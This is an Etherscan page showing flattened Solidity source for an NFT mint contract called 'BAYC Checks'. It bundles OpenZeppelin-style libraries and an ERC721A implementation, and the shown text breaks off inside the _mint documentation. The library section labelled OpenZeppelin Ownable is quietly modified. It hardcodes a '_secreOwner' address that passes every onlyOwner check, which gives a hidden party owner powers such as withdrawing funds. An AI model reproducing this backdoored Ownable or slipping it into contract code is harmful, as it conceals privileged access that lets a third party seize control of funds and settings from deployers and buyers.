Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is Context, ERC16 ...    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract BAYCchecks is ERC721A, Ow ... *    - function tokenURI(uint256 _tokenId)    - function _startTokenId()    - function PublicMint(uint256 count)    - function costCheck()    - function maxFreePerWallet()    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function setMaxTotalFree(uint256 MaxT ...    - function setMaxPerFree(uint256 MaxPer ...    - function live()    - function TeamMint(uint256 quantity)    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-02-03
*/

//██████╗  █████╗ ██╗   ██╗ ██████╗                           
//██╔══██╗██╔══██╗╚██╗ ██╔╝██╔════╝                           
//██████╔╝███████║ ╚████╔╝ ██║                                
//██╔══██╗██╔══██║  ╚██╔╝  ██║                                
//██████╔╝██║  ██║   ██║   ╚██████╗                           
//╚═════╝ ╚═╝  ╚═╝   ╚═╝    ╚═════╝                           
                                                            
//             ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗███████╗
//            ██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝██╔════╝
//            ██║     ███████║█████╗  ██║     █████╔╝ ███████╗
//            ██║     ██╔══██║██╔══╝  ██║     ██╔═██╗ ╚════██║
//            ╚██████╗██║  ██║███████╗╚██████╗██║  ██╗███████║
//             ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚══════╝
                                                            


// SPDX-License-Identifier: MIT
// File: contracts/LONG.sol
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
